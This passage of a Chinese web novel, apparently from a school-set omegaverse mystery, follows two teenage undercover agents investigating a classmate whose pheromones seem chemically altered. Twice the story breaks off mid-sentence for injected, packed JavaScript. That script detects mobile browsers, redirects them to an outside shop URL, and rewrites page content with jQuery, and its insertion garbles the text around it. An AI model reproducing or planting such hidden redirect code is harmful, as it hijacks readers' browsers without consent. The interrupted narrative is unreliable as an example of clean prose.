谢燃慢慢从窗台边走过来,坐回沙发上,盘着腿,尾巴搭在膝盖上。他低头看着自己的手指,沉默了一会儿。
“你说得对。”他说,“他不只是来送早餐的。”
“但他确实送了早餐。”纪砚拿起那本推理小说,翻到刚才那一页,“小笼包不错。”
“……你能不能不要在这种时候说小笼包?”
“我说的是事实。”
谢燃叹了口气,往后一靠,仰头看着天花板。天花板上那道裂缝还在,从墙角延伸到吊灯,像一条干涸的河流。他盯着那道裂缝看了几秒,忽然说:“明天周一。”
“嗯。”
“又要上课了。”
“嗯。”
“我不想上课。”
“你每天都这么说。”
“因为每天都是真的不想上。”
纪砚没接话,继续看书。谢燃在沙发上又赖了一会儿,最后认命地去洗澡刷牙,然后回到卧室,把自己摔进被子里。
他闭上眼睛之前,看了一眼手机。陆大寻在十五分钟前发了一条消息:“到家啦!我妈问我要不要吃夜宵,我说不用,她说‘你今天怎么这么乖’,我说‘我每天都这么乖’哈哈哈哈。谢哥晚安!纪哥晚安!”
后面跟着一只哈士奇趴在床上盖被子的表情包。
谢燃盯着那条消息看了两秒,打了一行字:“晚安。明天别迟到。”
发完,他把手机扣在床头柜上,翻了个身,闭上眼睛。
隔壁房间传来纪砚关灯的声音,然后是床垫轻微的吱呀声,然后是一片安静。
窗外的月亮很亮,月光从窗帘的缝隙里漏进来,在地板上画了一条细细的白线。
珠海市的夜晚,安静得像一个睡着了的巨兽。
周一早晨,谢燃是被闹钟吵醒的。
七点整,手机在枕头边震得像发了疯。他伸手摸了两下没摸到,第三下才抓住,按掉闹钟,翻了个身,准备再睡五分钟。
“谢燃。”门外传来纪砚的声音。
“再五分钟。”
“你已经说了两遍‘再五分钟’了。”
“这次是真的五分钟。”
门被推开了。纪砚站在门口,已经换好了校服,头发梳得整整齐齐,手里拿着两杯豆浆和两个包子。他看着蜷缩在被子里只露出一撮红头发的谢燃,面无表情地走到床边,把豆浆放在床头柜上。
“再不起来,豆浆凉了。”
“凉了也好喝。”
“第一节课是语文。”
“语文不用脑子。”
“你需要。”
谢燃猛地坐起来,头发乱得像鸡窝,眼睛还没完全睁开,嘴里已经开始嘟囔了:“纪砚你知不知道你这个人最大的问题是什么?”
“什么?”
“你太他妈准时了。”
纪砚没理他,转身走出卧室,丢下一句话:“十分钟,不吃完就走不了了。”
谢燃坐在床上,看着床头柜上的豆浆和包子,叹了口气。
他认命了。
十五分钟后,两人走出公寓楼。珠海市的早晨阳光很好,但空气里已经带着深秋的凉意,谢燃缩着脖子,把校服外套的拉链拉到最上面,像一只怕冷的狐狸。纪砚走在他左边,步幅不大不小,手里拿着一个文件夹——陆大寻给的那份资料的复印件,他已经翻来覆去看了好几遍。
“你今天还看?”谢燃瞥了一眼那个文件夹。
“有新发现。”
“什么发现?”
“不确定,再想想。”
谢燃知道纪砚的“再想想”是什么意思——他有了一个猜测,但证据还不够充分,他不会说出来,直到他确认了百分之八十以上。
两人走到校门口的时候,陆大寻已经在那里等着了。
他站在校门口的榕树下,手里拿着一杯豆浆,正踮着脚尖往街上看。看到谢燃和纪砚的身影,他的眼睛亮了,整个人像被点燃了一样,挥着胳膊跑过来。
“谢哥!纪哥!你们来了!”
“你几点到的?”谢燃问。
“七点十分!今天起得早,我妈说‘你是不是谈恋爱了’,我说‘我连对象都没有谈什么恋爱’。”
纪砚看了他一眼:“你妈想象力很丰富。”
“那可不,她看什么都像恋爱。”陆大寻跟在两人身边往教学楼走,“上周我跟我同桌一起吃了个午饭,她问我‘你们是不是在一起了’,我说‘妈,他是男的’,她说‘男的怎么了,现在社会多元了’。”
谢燃笑出了声:“你妈挺开明。”
“开明过头了,我跟她说我以后想当警察,她说‘当警察好,制服好看,找对象容易’。”
“所以你当警察是为了找对象?”
“当然不是!我是为了维护正义!”陆大寻握紧拳头,表情严肃得像在宣誓,“虽然制服确实好看。”
纪砚在旁边没说话,但嘴角微微动了一下。
三个人走进教学楼,走廊里已经有很多人了。周一的早晨总是最热闹的,到处是补作业的声音、分享周末经历的声音、以及“你昨天看那个视频了吗”的声音。谢燃从人群中穿过,尾巴高高翘起,以免被人踩到。陆大寻跟在他后面,像一只跟在母鸡后面的小鸡,时不时跟路过的同学打招呼。
“早啊大寻!”
“早!你作业写完了吗?”
“写完了!你呢?”
“我当然写完了,我是那种不写作业的人吗?”
“你是。”
“……好吧我是。”
走到高二(6)班的教室门口,谢燃的脚步顿了一下。
冥安站在走廊尽头,背靠着墙,手里拿着一本书,正低头看着。他的校服穿得一丝不苟,领口的扣子系到最上面一颗,头发梳得很整齐。但他的脸色依旧不好,嘴唇发白,眼下的黑眼圈比上周更重了。
谢燃只看了一眼就收回了目光,走进教室,坐到自己的座位上。
纪砚跟在他后面,把书包放好,拿出课本。
陆大寻的座位在谢燃后面,他把书包放下,凑过来压低声音:“冥安今天看起来更不对劲了。”
“哪里不对劲?”谢燃头都没回。
“他的信息素又变了。上周是闷,今天不只是闷,还有一种——”陆大寻皱着眉头想了想,“酸味?像是什么东西发酵了的那种味道。”
谢燃的手指在桌面上轻轻敲了两下。那是他和纪砚的暗号,意思是:信息素异常,注意。
纪砚微不可查地点了下头。
第一节课是语文,老师在讲台上讲《滕王阁序》,讲到“落霞与孤鹜齐飞,秋水共长天一色”的时候,让全班齐读一遍。谢燃跟着念了几句,嘴巴在动,声音没怎么出来。他的心思不在课文上,在走廊尽头那个脸色苍白的蜘蛛Alpha身上。
第二节课是数学,王老师发了上周的测验卷子。谢燃考了倒数第三,这他上周就知道了,但看到卷子上那个鲜红的“47”的时候,还是觉得有点刺眼。不是因为他觉得丢人,而是因为纪砚在旁边考了满分,卷面干净得像印刷品,连个涂改的痕迹都没有。
“你怎么又满分?”谢燃压低声音。
“因为我会做。”
“你能不能说点我能听懂的?”
“多做练习。”
“……你还是说点我听不懂的吧。”
纪砚看了他一眼,从桌斗里拿出一本笔记本,翻到某一页,推到谢燃面前。上面写着密密麻麻的解题步骤,每一道题都写得清清楚楚,连辅助线都画得工工整整。
“这是我上周总结的题型,你抽时间看看。”纪砚说。
谢燃看着那本笔记本,愣了一下。
“你什么时候写的?”
“上周每天晚上。”
“你每天晚上都在写这个?”
“嗯。”
谢燃张了张嘴,想说什么,但话到嘴边又咽了回去。他把笔记本合上,放进自己的书包里,动作很轻,像是怕把那些字弄坏了。
“谢了。”他说。
“不用谢,下次考试别倒数就行。”
“……你这个人能不能不要每次都破坏气氛?”
纪砚没理他,翻开课本,继续听课。
中午吃饭的时候,食堂里的人比上周更多了。谢燃端着餐盘在人群中穿行,尾巴高高翘起,像一面红色的旗帜。纪砚跟在他后面,端着两个餐盘——他自己的和谢燃的,因为谢燃又跑去加了一个鸡腿。
陆大寻已经在靠窗的位置占好了座。他坐在那里,面前摆着三个餐盘——他自己的,以及谢燃和纪砚的。他朝谢燃挥了挥手,动作大得像在指挥飞机降落。
“这儿这儿这儿!”
谢燃走过去,一屁股坐下,拿起筷子就开吃。纪砚随后跟过来,在谢燃旁边坐下,动作不紧不慢。
陆大寻一边吃饭一边说话,嘴巴里的东西还没咽下去就开始说:“今天上午我又观察了一下冥安。他第二节课后去了校医室,待了大概十五分钟,出来的时候脸色好了一点,但信息素的味道还是很奇怪。我在想,他是不是在服用什么东西,而且那种东西的副作用很大。”
谢燃嚼着鸡腿,含混地说:“你觉得是什么?”
“不知道,但我注意到一个细节。”陆大寻放下筷子,压低声音,“他从校医室出来的时候,手里拿着一个很小的瓶子,大概这么大——”他用拇指和食指比了个长度,“透明的,里面装着液体。他走到垃圾桶旁边,把瓶子捏碎了扔进去,动作很快,但被我看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536125|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了。”
纪砚的筷子顿了一下:“瓶子捏碎了?”
“对,不是扔进去,是捏碎了再扔。像是在销毁什么证据。”陆大寻的眼睛亮了起来,“纪哥,你说那会不会是装药的瓶子?”
“有可能。”纪砚夹了一块红烧肉,放进嘴里,慢慢嚼着,目光落在餐盘上,脑子里在飞快地转。
谢燃放下鸡腿骨头,用纸巾擦了擦手:“陆大寻,你今天放学先走,别等我们。”
陆大寻愣了一下:“为什么?”
“因为我们要去翻那个垃圾桶。”
陆大寻的眼睛瞪得更大了:“我也去!”
“不行。”
“为什么!”
“因为翻垃圾桶不是什么光彩的事,你一个高中生掺和什么。”
“可是是我先发现的!”
“所以你已经完成了你的任务,剩下的交给我们。”谢燃的语气难得的认真,“陆大寻,你答应过纪砚,不掺和进来。”
陆大寻的嘴巴张了张,又闭上了。他的耳朵耷拉下来,尾巴也垂了下去,整个人像一只被抢走了骨头的小狗。
“好吧。”他闷闷地说,“但你们翻到了什么要告诉我。”
“看情况。”谢燃说。
“什么叫看情况?”
“就是看情况。”
陆大寻瘪了瘪嘴,但没有再争辩。他低下头,把餐盘里的米饭扒拉完,然后把筷子整齐地放在餐盘上——这是纪砚教他的,他学得很快。
下午的课过得很快。
体育课跑了四百米,谢燃跑了第一名,纪砚第二名,两人的成绩只差了零点三秒。体育老师看了看秒表,又看了看两个人,嘟囔了一句“你们两个是不是练过”,谢燃笑着说是天赋,纪砚什么都没说。
化学课做实验,谢燃差点把试管烧了,被纪砚及时按住了手。两人的手指碰了一下,纪砚很快缩了回去,谢燃看了他一眼,纪砚没看他。
最后一节是自习课,班主任王老师坐在讲台上批改作业,教室里安安静静的。谢燃难得地认真写了一会作业,用的是纪砚给他的那本笔记本,一边看一边做,虽然还是有很多不会,但比上周好了一些。
纪砚在旁边写自己的作业,偶尔侧头看一眼谢燃的进度,看到他做错的题,就在草稿纸上写下正确的步骤,无声地推过去。
谢燃每次看到那些推过来的纸条,都会在心里说一声“谢了”,虽然嘴上从来没说过。
放学铃响的时候,谢燃和纪砚没有立刻走。他们等教室里的人走得差不多了,才慢慢收拾书包。陆大寻站在教室门口,犹豫了一下,还是走过来。
“谢哥,纪哥,你们真的要去翻那个垃圾桶?”
“嗯。”纪砚拉上书包拉链。
“那我——”陆大寻看了看两人的表情,把“我也去”三个字咽了回去,“那我先走了。你们小心。”
“路上小心。”纪砚说。
陆大寻点了点头,转身走了。他的背影在走廊里越来越远,书包在身后一甩一甩的,走到楼梯口的时候,他回过头看了他们一眼,然后消失在拐角处。
谢燃和纪砚对视了一眼。
“走。”纪砚说。
校医室旁边的垃圾桶在教学楼的侧面,是一个绿色的塑料桶,上面套着黑色的垃圾袋。周一的垃圾最多,袋子鼓鼓囊囊的,散发着各种混合的味道——消毒水、药物、食物残渣、纸张。
纪砚戴上手套,蹲下来,把垃圾袋解开。
谢燃站在旁边,负责望风。他的目光扫过四周——教学楼的后门关着,实验楼的窗户黑着,远处的操场上还有几个体育生在跑步。一切看起来都很正常,但他的尾巴微微绷紧,耳朵竖起来,捕捉着周围的每一个声音。
“找到了。”纪砚的声音很低。
谢燃低头看去,纪砚从垃圾袋里捏出几片透明的玻璃碎片。碎片不大,边缘锋利,在夕阳的余晖下反射出细碎的光。纪砚把碎片举到鼻子前,闻了闻。
“什么味道?”谢燃问。
“苦的。”纪砚把碎片装进一个小密封袋里,“有药物残留。带回去给年绪分析。”
谢燃点了点头,继续望风。
纪砚又在垃圾袋里翻了一会,没有找到更多的东西。他把垃圾袋重新系好,站起来,把手套脱下来,和密封袋一起放进口袋里。
“走吧。”他说。
两人沿着实验楼后面的小路往外走。这条路很窄,两边都是墙,没有窗户,没有监控。上次陆大寻说过,冥安从校医室出来之后走了这条路。
“他为什么选这条路?”谢燃边走边问。
“因为这条路没有监控。”纪砚说,“他去校医室拿药这件事,不想被任何人知道。”
“包括谭照?”
“包括所有人。”
两人走出小路,拐进和风中街。夕阳把整条街染成了橘红色,榕树的影子投在地上,像一大片静止的乌云。路上的行人不多,几个放学的学生骑着自行车从他们身边经过,铃声叮叮当当的。
谢燃的手机震了一下。
陆大寻发来的消息:“谢哥谢哥!!!你们翻到了吗???”
谢燃打字回复:“翻到了。几片玻璃。”
“!!!我就说我没看错!!!是什么瓶子???”
“不知道,送检了。你别问了。”
“好吧好吧。你们吃饭了吗???”
“还没。”
“我请你们!!!学校门口新开了一家麻辣烫!!!”
谢燃看了看纪砚。纪砚扫了一眼手机屏幕,微微点头。
“行。校门口见。”
“!!!好!!!我占座!!!”
谢燃把手机揣进口袋,嘴角不自觉地翘了一下。
“他请客。”他说。
“你让他请?”纪砚问。
“他说要请,我不能驳人家面子。”
“你是没钱了吧。”
“我有钱!我们工资高!”谢燃理直气壮,“但我今天没带银行卡。”
纪砚看了他一眼,那眼神的意思是“我就知道”。
两人加快脚步,走向校门口。
夕阳在他们身后缓缓落下,榕树的影子越拉越长。珠海市的傍晚,和每一个普通的周一傍晚一样,喧闹、嘈杂、充满了生活的烟火气。
但在这层烟火气之下,有什么东西正在暗处生长。
就像榕树的气根,你看不到它在地下蔓延的速度,但等你发现的时候,它已经扎得很深了。
14. “你的信息素很好闻”
第二天早上,谢燃是被闹钟吵醒的。
七点整,手机在枕头边震得像发了疯。马达的震动声在安静的房间里显得像8000只蚊子在嗡嗡嗡的叫他起床。他伸手摸了两下没摸到,手指在枕头和被子之间胡乱扒拉,第三下才抓住,按掉闹钟。屏幕上的数字跳了一下,从6:59变成了7:00。
他翻了个身,把脸埋进被子里,准备再睡五分钟。
“谢燃。”门外传来纪砚的声音,隔着门板,听起来有点闷。
“再睡五分钟。”
“你已经说了三遍‘再睡五分钟’了。”
“这次是真的五分钟。”
门被推开了。
纪砚站在门口,已经换好了校服。白衬衫扎进黑色长裤里,扣子系到最上面一颗,领口的扣子扣得严严实实,头发梳得整整齐齐,一根反翘都没有。他手里拿着两杯豆浆和两个包子,纸袋被热气蒸得有点软了,底部微微往下坠。他看着蜷缩在被子里只露出一撮棕发的谢燃,面无表情地走到床边,把豆浆放在床头柜上。
豆浆杯是透明的塑料杯,盖子盖得很紧,但热气还是从杯口的小孔里冒出来,在冷空气中凝成一小片白雾。
“再不起来,豆浆凉了。”
“凉了也好喝。”
“包子也凉了。”
“凉的也能吃。”
“第一节课是数学。”
谢燃猛地坐起来。
动作太快,被子被掀到一边,枕头飞到了地上。他的头发乱得像鸡窝,一根一根竖起来,像一个被风吹反了的刺猬。眼睛还没完全睁开,一只大一只小,但嘴里已经开始骂了:“为什么又是数学?这破学校能不能换换课表?”
“因为你上周数学考了全班倒数第三。”
“那又怎样?”
“王老师说你要是这周再考倒数,他就找你谈话。”
谢燃沉默了两秒。脑子里浮现出王老师的脸——那个总是穿着格子衬衫、说话慢条斯理的中年男人,笑起来像一尊弥勒佛,但每次找他谈话都能谈一个小时,从学习态度谈到人生理想,从人生理想谈到宇宙真理。
他发出一声哀嚎,把脸埋进被子里,整个人像一只把头埋进沙子的鸵鸟,只露出一小截尾巴在外面,橙红色的毛在晨光里微微发亮。
纪砚看着他,嘴角微微动了一下。那一下很短,短到如果不是认识他十几年根本捕捉不到。然后他转身走出卧室,丢下一句话:“十分钟,不吃完就走不了了。”
谢燃从被子里探出一只眼睛,看着床头柜上的豆浆和包子。
叹了口气。
他认命了。
十五分钟后,两人走出公寓楼。
珠海市的早晨阳光很好,太阳刚从东边的楼顶爬上来,光线是金色的,照在身上暖洋洋的,但空气里已经带着深秋的凉意,一冷一热混在一起,让人有一种季节错乱的感觉。路边的榕树上挂满了露珠,在阳光的照射下闪着细碎的光,像挂了一树的水晶珠子。
谢燃穿着校服外套,拉链拉到最上面,领子竖起来,缩着脖子,两只手插在口袋里,整个人缩成一只虾米的形状。他是火狐,但他真的很怕冷——这是一个他永远不会承认的悖论。每当有人说“你不是火狐吗怎么会怕冷”,他就会翻一个白眼说“火狐只是名字,我又不会喷火”。
纪砚走在他左边,步幅不大不小,正好能让谢燃跟上。他手里拿着一个文件夹,黑色的,边角已经有点磨损了,一边走一边翻看,眉头微微皱着。晨光落在他的侧脸上,把皮肤照得很白,几乎有点透明。
“别走路看东西。”谢燃说。
“你不是也走路看手机。”
“我没看了。”谢燃把手机从口袋里掏出来,在纪砚面前晃了晃,以示诚意,然后塞回口袋。
纪砚没理他,继续翻文件夹。那是陆大寻给的资料复印件,谢燃昨晚打印出来的,厚厚一沓,A4纸,用订书机订了三处,订得整整齐齐。纪砚早上已经看了快一半,纸张被他翻得哗哗响。
“他写的分析报告,”纪砚忽然说,步子没停,但语速慢了下来,“格式和ASI的档案很像。”
谢燃的脚步顿了一下。只是很小的一顿,左脚落地的时候比平时慢了零点几秒,但纪砚一定注意到了。
“什么意思?”
“不是内容像,是结构。”纪砚把文件夹合上,手指在封面点了两下,“信息分类的方式、时间线的标注方法、嫌疑人评估的维度——这些不是普通人会用的框架。更像是一种……训练出来的思维模式。”
谢燃想了想。ASI是内部机构,它的档案格式是经过多年迭代优化出来的,不是随便什么人都能接触到的东西。一个十七岁的高中生,就算智商一百四十八,也不太可能无师自通地复刻出一套专业情报机构的档案格式。
“你是说,有人教过他?”
“或者说,他的思维方式天生就接近这种模式。”纪砚把文件夹夹在腋下,夹得很稳,走路的时候一点都没晃,“智商一百四十八也许可以解释一部分,但不是全部。”
谢燃想了想,觉得纪砚说得有道理。陆大寻整理情报的方式确实太专业了,专业到不像一个十七岁高中生能无师自通的水平。他想起陆大寻画的那张关系图——线条干净,标注清晰,颜色分类合理,连监控摄像头的位置都标得一个不差。那不是聪明就能做到的,那需要一种特定的思维框架。
“你觉得他是从哪里学来的?”谢燃问。
纪砚没有回答。
他们已经走到校门口了。
和风四中的校门在早晨是最热闹的时候,像一条突然涨潮的河流。学生从四面八方涌来,有的骑自行车,车铃叮叮当当地响;有的坐公交,从车门里跳下来的时候书包带子还没挂好;有的被家长开车送来,车门一开一关,砰的一声。校门口的早餐摊前排着长队,煎饼果子的香味飘得满街都是,混着豆浆的甜味、油条的油味和葱花的辛辣味,组成了和风四中早晨特有的味道。
谢燃在人群中一眼就看到了陆大寻。
不是因为他长得特别高——他其实不算高,一米七出头,在人群里刚刚够露出一个脑袋。也不是因为他的书包特别大——他的书包确实大,但大部分高中生的书包都大。而是因为他那条尾巴。
哈士奇的尾巴,灰白色的,毛茸茸的,在人群中竖得高高的,像一面旗帜。此刻他正站在校门口的石墩旁边,踮着脚尖,伸长脖子,浅色的瞳孔在人群中扫来扫去,像一只在等人的小狗。他的耳朵也在动,朝不同的方向转来转去,捕捉着周围的每一个声音。
看到谢燃和纪砚的瞬间,他的眼睛亮了。
那种亮不是形容词,是真的亮了——瞳孔放大了一点,虹膜反射出更多的光,像有人在他眼睛里点了一盏灯。整个人像被点燃了一样,从石墩上弹起来,书包在身后甩得飞起,朝他们跑过来。
“谢哥!纪哥!”他挥舞着胳膊,跑得跌跌撞撞,两条腿像不听使唤一样,“你们来了!我等你们好久了!”
“你几点到的?”谢燃问。
“七点!今天起早了,我妈说‘你今天怎么这么积极’,我说‘因为今天有体育课’。”
纪砚看了他一眼,目光在他的脸上停留了零点几秒,然后移开:“你撒谎的技术有待提高。”
陆大寻嘿嘿一笑,也不在意,跟在两人身边往教学楼走。他走路的姿势很特别,步子大,速度快,但重心不稳,走快了就容易绊脚。刚才上台阶的时候就绊了一下,鞋尖磕在台阶边缘,整个人往前一栽——被纪砚一把抓住后领子拎了回来,像拎一只小猫。
“看路。”纪砚松开手,在他背上轻轻拍了一下。
“谢谢纪哥!”陆大寻站稳了,拍拍校服上并不存在的灰尘,跟没事人一样继续走,尾巴在身后晃了两下,像在确认自己还活着。
谢燃看着他的背影,心里忽然涌起一种奇怪的感觉。
他说不上来那是什么,不是担心,不是怀疑,更像是一种本能的保护欲——就像看到一只不懂事的小动物在悬崖边跑来跑去,你总想伸手把它拽回来。那种感觉来得毫无道理,又强烈得无法忽视。
“谢燃。”纪砚的声音从旁边传来,很低,只有他能听到。
“嗯?”
“别盯着他看。”
谢燃收回目光,跟上纪砚的步伐。
他们走进教学楼。走廊里已经有很多人了,到处是笑声、喊声和书本掉在地上的声音。有人在追跑打闹,有人在讨论昨晚的作业,有人在吃从食堂带出来的包子,包子的味道和教室里飘出来的消毒水的味道混在一起,形成一种只有学校才有的气味。
一个女生在拐角处撞到一个男生,手里的牛奶洒了一半,乳白色的液体溅在地上,像一朵盛开的花。两人互相道歉,女生说“对不起对不起”,男生说“没事没事”,然后都笑了。很普通的校园早晨。
但谢燃知道,在这层普通的表皮之下,有什么东西正在暗处生长。
就像榕树的气根,一开始只是一根细细的须,从枝干上垂下来,在风中摇摇晃晃的,看起来弱不禁风。但它慢慢变粗,变硬,扎进土里,长出新的树干,一棵树变成一片林,最后把整面墙都包住,把整条路都遮住。
你看到它的时候,它已经在那里站了很久了。
上午第二节课后,大课间。
谢燃从厕所出来,洗手的时候,镜子里出现了另一个人的身影。
厕所的灯是白炽灯,光线偏冷,把人的脸色照得发青。洗手台是水泥砌的,上面铺着白色的瓷砖,瓷砖缝里嵌着黑色的霉斑。水龙头是老式的旋转式,拧的时候要用力,水流冲出来的时候会溅起水花。
冥安站在洗手池的另一端。
他穿着和风四中的校服,白衬衫,黑色长裤,外套搭在手臂上。他的头发是黑色的,有点长,刘海垂下来遮住了一边眼睛。他的皮肤很白,白到有点不健康,嘴唇的颜色很淡,几乎和肤色融为一体。眼下的黑眼圈很明显,青黑色的,像两团淤青,像是好几天没睡好觉。
他拧开水龙头,水流冲在他的手指上。他没有洗手,只是把手放在水流下面,让水冲过他的指缝,看着水流发呆。水花溅到他的袖口上,洇出一小片深色的水渍,他也没有反应。
谢燃没有看他,低着头认真洗手。他把手伸到水流下面,冲湿,挤了一点洗手液——洗手液是学校配的,绿色的,闻起来像柠檬和化学品的混合物——搓出泡沫,指缝、手背、掌心、手腕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536126|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
每一个地方都仔细搓了一遍,然后冲干净。
整个过程用了不到二十秒,可他觉得过了很久,可能是因为紧张?或者其他的吧。
他洗完了甩了甩手上的水,水珠从指尖飞出去,落在洗手台上,落在瓷砖上,落在镜子上。他转身要走。
“你是新来的转校生。”
冥安的声音从身后传来,不大,但在空旷的厕所里显得很清晰,带着一点回音。墙壁是瓷砖的,声音撞上去又弹回来,在空气中停留了比平时更长的时间。
谢燃停下脚步。
他转过身,脸上挂着一个礼貌的、不带任何攻击性的笑容。那个笑容他练习了无数遍,嘴角上扬的角度、眼睛弯的弧度、牙齿露出的数量——每一个参数都经过了精确的计算。看起来真诚,其实什么都不是。
“对啊,我叫谢燃。你是?”
“冥安。”他说,没有笑,也没有不笑,表情很平,像一面没有波澜的水,又像一张什么都没写的纸,“你的信息素很好闻。”
谢燃的笑容没变。
但笑容底下的东西变了。
他的信息素是烈焰枫酒,Alpha的味道,浓烈、攻击性强、但柔和——这是他在任务中使用的伪装身份的信息素特征,用A1情绪伪装模拟出来的。他真正的信息素是另一种味道,只有纪砚和韩征远知道。A1是他最熟练的技能之一,他可以在不改变表情、不改变动作的情况下,让自己的信息素呈现出完全不同的特征。
冥安说“好闻”,不是客套,更像是一种试探。一个Alpha对另一个Alpha说“你的信息素很好闻”,这句话本身就有点奇怪。Alpha的信息素对Beta来说只是味道,对Omega来说可能有吸引力或排斥力,但对另一个Alpha来说,通常意味着挑衅或者攀比。
冥安的语气里没有挑衅,也没有攀比。只有一种平淡的、陈述事实般的语气。
但那种平淡本身就是一种反常。
“谢谢,”谢燃笑着说,语气轻快得像在聊天气,“你的也挺好闻的。”
这是假话。
冥安的信息素很闷,像被什么东西压住了,闻起来不舒服,甚至让人有点反胃。那种闷不是普通抑制剂造成的——普通抑制剂会把信息素压到几乎闻不到的程度,但冥安的信息素没有被压下去,而是被改变了。味道还在,但性质变了,像盖了一层塑料布,又像被装在了一个密封的罐子里。
但谢燃的表情真诚得可以拿奥斯卡奖。他的笑容没有一丝裂痕,眼睛里的温度没有降下去,语气没有任何变化。在任何人看来,他都是一个友好、开朗、有点没心没肺的转校生。
冥安看了他两秒。
那两秒里,厕所里很安静。水龙头还在滴水,滴答滴答,一下一下,像钟摆。窗外有学生跑过的脚步声,咚咚咚,由远及近,又由近及远。
然后冥安点了点头,关掉水龙头。水声戛然而止,只留下最后几滴水从龙头口滴落的声音。他转身走了,步子不快不慢,运动鞋踩在瓷砖地面上,发出轻微的摩擦声。
他的脚步声在走廊里渐渐远去,越来越轻,越来越远,最后被走廊里其他人的声音淹没了。
谢燃站在原地。
他转过身,看着镜子里的自己。
笑容还在。
但眼睛里的温度已经降下来了,像一杯热水放在冷风里,温度一点一点地流失。他的瞳孔颜色深了一些,嘴角的弧度比刚才平了一点——这些变化太小了,小到没有任何一个普通人能注意到,但谢燃自己知道。
他拿出手机,给纪砚发了两个字:
“冥安。”
消息发出去,屏幕上显示“已读”。纪砚没有回复。
谢燃把手机揣进口袋,走出厕所。走廊里人来人往,阳光从窗户照进来,在地面上画出一块一块的光斑。他的影子踩在那些光斑上,忽明忽暗。
他往教室的方向走去,步子不急不缓,看起来和平时一模一样。
但他的脑子里已经在飞速运转了。冥安的试探、他的信息素、姜雅校医室里的药物残留、陆大寻观察到的那些线索、年绪发来的关于O189和O147的档案——所有的碎片像拼图一样在他脑海里翻涌,寻找着彼此之间的连接。
他走过走廊拐角的时候,余光扫到走廊尽头的一个身影。
谭照。
保安科副科长,穿着保安制服,站在走廊尽头的窗户旁边,手里拿着一根没有点燃的烟,正在看着窗外。他的站姿很松弛,肩膀微微往下塌,但谢燃注意到他的视线角度——他的脸朝向窗外,但眼睛的余光正好能覆盖冥安离开的方向。
谢燃没有减速,没有改变方向,甚至连目光都没有在谭照身上多停留一秒。他走过那个拐角,走进教室,坐回自己的座位上。
窗外的榕树在风中摇晃,树叶一根一根地垂下来,像无数只垂下来的手。
阳光从叶缝里漏下来,在地上碎成无数光斑,风一吹,光斑就晃,像一地的碎金子。
谢燃看着那些光斑,忽然想起纪砚昨晚说的那句话。
“这次,我们不会再被放弃了。”
他攥了攥拳头,然后松开。
“这次,换我们来找他们。”
15. 信息素后的报告日常
谢燃回到教室的时候,纪砚正坐在座位上看书。
不是课本,是一本从学校图书馆借的《犯罪心理学》,封面已经磨得发白,原本深蓝色的封皮褪成了灰蓝色,边角卷起来,像被翻阅过无数次。书脊上有两道折痕,一道深一道浅,像是被什么人用力折过又试图抚平。图书馆的标签贴在封底,编号是B84-49/037,打印字体有点模糊。
他把书立在桌上,用英语课本挡住。从讲台方向看过去,任何人都会以为他在看英语——课本翻到了第23页,那篇关于环保的阅读理解正好露在外面。但实际上他翻到的是第三章,“行为模式与痕迹分析”,页脚有一行用铅笔写的批注,字迹太小,从旁边看不清写的是什么。
谢燃一屁股坐到椅子上,椅子腿在地上蹭出吱呀一声,尖锐的声音在安静的教室里显得格外刺耳。前桌的一个女生回头看了他一眼,他冲她笑了一下,女生翻了个白眼转回去了。
他往前凑了凑,胳膊肘撑在桌面上,两只手交叠,下巴搁在手掌里。他的狐狸尾巴从椅子后面绕过来,搭在过道边上,橙红色的毛在日光灯下泛着暖光。他用只有两个人能听到的音量说:“冥安跟我说话了。”
纪砚翻书的手没停。指尖从右页的右下角捏住纸页,轻轻抬起,翻到左边,纸页发出很轻的沙沙声。他的目光也没从书页上移开,正停在“痕迹分析的三个层次”那个小标题上。
但他的呼吸节奏变了一下。
谢燃注意到了。那种变化很细微——吸气比平时慢了零点几秒,呼气的时长也稍有不同。那是纪砚进入“接收信息”状态时的生理反应:心率微降,注意力高度集中,血液从四肢回流到大脑,像一台被按下录音键的机器,每一个细节都会被记录下来。
“说什么?”纪砚的声音低得像纸页摩擦,嘴唇几乎没动。
“他说我的信息素很好闻。”
纪砚翻书的手停了一瞬。指尖停在纸页的边缘,没有继续翻动,也没有收回来。那一下停顿很短,短到如果不是谢燃这种认识他十几年的人,根本不可能察觉。
“然后呢?”
“我说谢谢,你的也挺好闻的。”谢燃把声音压得更低,低到只有纪砚能听到,低到连坐在他们前面的同学都只能听到模糊的气流声,“但那是假的,他的信息素很闷,像被什么东西压住了,闻着不舒服。”
纪砚把书翻到下一页,动作自然得看不出任何异常。纸页翻过去的时候,他甚至用拇指按了按书脊,让书页服帖地躺好。但他的眼睛没有在看书页上的字。谢燃能看到他的视线焦点——落在页面上方三分之一的位置,那一行写着“行为模式的可预测性”,但纪砚的目光是散的,他在想别的事情。
“他是在试探你。”纪砚说。声音很平,像在陈述一个已经被证实的定理。
“我知道。”谢燃的狐狸尾巴在桌子底下慢悠悠地晃着,从左摆到右,又从右摆到左,看起来悠闲得像在晒太阳。但尾尖微微绷紧,从蓬松的弧形变成了一条直线,暴露了他的真实状态,“他想确认我的信息素是真的还是假的。如果我是普通人,被人夸信息素好闻,正常的反应应该是高兴或者不好意思,不会多想。但如果我是——”
